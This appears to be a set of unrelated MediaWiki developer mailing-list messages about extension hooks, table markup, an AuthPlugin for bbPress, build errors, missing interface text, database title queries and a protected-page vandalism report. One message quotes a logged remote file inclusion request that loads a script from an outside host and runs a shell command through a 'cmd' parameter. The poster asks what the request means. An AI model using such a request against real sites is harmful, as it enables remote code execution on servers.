I'm trying to add an HTML header from a MediaWiki extension using
$wgOut->addScript(), but nothing is included in the output page.
Adding things after the <body> element does work fine, eg. using addHTML(),
so it seems the extensions can't currently modify the HTML header parts.
Is this assumption correct, or am I doing something wrong here?
Thanks,
Jama Poulsen
http://wikicompany.org
Hi there...
I've just installed mediawiki 1.4.7
And now I have a question. I've created the next table:
{| style="margin:0 auto" align=center class="toccolours" style="clear:both;"
|-
{| class="toccolours" style="margin: 0 2em 0 2em;"
! style="background:#ccccff" align="center" width="100%"| California
|-
|align=center colspan=2| A
|-
|align=center colspan=2| B
|}
and checked the result html code on my wiki and on wikipedia site. And
the was different view.
On my wiki site it was like:
<table style="margin:0 auto" align=center class="toccolours"
style="clear:both;">
<table class="toccolours" style="margin: 0 2em 0 2em;">
<tr >
<th style="background:#ccccff" align="center" width="100%"> California
</th></tr>
<tr >
<td align=center colspan=2> A
</td></tr>
<tr >
<td align=center colspan=2> B
</td></tr></table>
</table>
On wikipedia site just only one table was created:
<table style="clear:both;" align="center" class="toccolours">
<tr>
<td></td>
</tr>
<tr>
<th style="background:#ccccff" align="center" width="100%">California</th>
</tr>
<tr>
<td align="center" colspan="2">A</td>
</tr>
<tr>
<td align="center" colspan="2">B</td>
</tr>
</table>
<p><br /></p>
<br style="clear:both;" />
Why it is so different?
I think the second peace of code is much better. How can I set up it?
Thank you and sory for my english.
Sergey
Hi folks,
I'm in the process of writing a AuthPlugin for bbPress, so that the
WordPress folks can do single sign-on between their user forums and
their MediaWiki install. First release is here:
http://codex.wordpress.org/User:RobLa/bbPress_Auth_for_MediaWiki
One thing I'm having trouble with is the case sensitivity issue.
bbPress isn't case sensitive. MediaWiki is. This makes logging in
relatively simple. As it turns out, I accidentally leveraged SQLs
default case-insensitivity in my first crack at this.
So, I try logging in as "RobLa". My plugin checks the bbPress database,
where I've registered "robla", and allows me to check my credentials
there. All good, so "RobLa" created. Log out, log back in as "RobLa",
and all works well. Yay!
However, I log back out and log back in as "RoBLA". It allows this too.
Yay? Looking at the user db, it appears to have auto-created accounts
for "RobLa" and "RoBLA". Boo!
My inclination is to add a new method
AuthPlugin::getCanonicalName($username), which gets called from
User::newFromName. That'll give my plugin (or any AuthPlugin) a crack
at munging the name just before an account is created.
Before I do all of that, though, I'm hoping that there's a better
approach that I'm not considering. Thoughts?
Rob
Hi,
a friend of mine is trying to install MediaWiki on their server. We have
- compiled ocaml into /home/cutebitsinfo/orbwiki/ocaml
- made sure that /home/cutebitsinfo/orbwiki/ocaml/ocamlc is executable
- prepended all references to ocamlc, ocamllex, ocamlyacc, and ocamlopt
in /home/cutebitsinfo/orbwiki/math/Makefile with the absolute path
- run "make" in /home/cutebitsinfo/orbwiki/math/
We get the following error:
make: don't know how to make util.cmx. Stop
How do I fix this?
Thanks in advance,
Timwi
Hi,
watching my statistic I fount this Url:
/index.php?pagina=http://pharoeste.net/x/out.gif?&cmd=id.
You can view the code at http://pharoeste.net/x/out.gif?&cmd=id.
What does it mean?
Giovanni Putignano
Italy
Hi everyone,
for some days there is something missing in
http://nds.wikipedia.org/wiki/Spezial:Recentchanges
There should be a line like the English
>Hide minor edits | Show bots | Hide logged in users
or in Low Saxon
>"Lütte Ännern $1. Bots $2. Anmellt Brukers $3. Kontrolleerte Ännern $4."
after
>Wies de letzten 50 | 100 | 250 | 500 Ännern; wies de letzten 1 | 3 | 7 | 14 |
30 Daag.
(Below are the last 50 changes in the last 7 days.
Show last 50 | 100 | 250 | 500 changes in last 1 | 3 | 7 | 14 | 30 days)
But this line is entirely missing.
I have not been able to find the source of this problem.
Maybe someone from the wikitech-list can help me?
Kind regards,
Heiko Evermann
admin in nds.wikipedia.org
Thereis a place where I can read about
relation between cur_title and last part of URL.
I am wrting some script and can't find some rows in cur using a query like:
SELECT cur_id, cur_title from cur WHERE cur_title BETWEEN 'title1' AND
'title1'
for some title1 from URL like:
id=[] title=[M%C3%B6bius_function]
id=[] title=[Per_Martin-L%C3%B6f]
id=[] title=[Ernst_Schr%C3%B6der]
id=[] title=[Fredholm\'s_theorem]
id=[] title=[Freiman\'s_theorem]
id=[] title=[H%C3%A9non_map]
Thanks for any help,
mm
hi,
at avar's suggestion i've created a wiki for MediaWiki (gosh, to think we
never had one of those before...). it's located at:
http://wiki.mediawiki.org/wiki/Main_Page
i'm not really sure what the best use for it is at the moment, but to start
with, moving wikipedia.sourceforge.net there seems reasonable, and then maybe
some of the documentation from meta.
have fun.
kate.
Could someone technically knowledgeable please investigate as a matter
of urgency how anonymous vandal user [[User:82.153.107.78]] managed to
edit [[:en:Rangers F.C.]] while it was protected, at 1408 UTC today.
This would seem to be a major breach in our security.
--
Arwel Parry
http://www.cartref.demon.co.uk/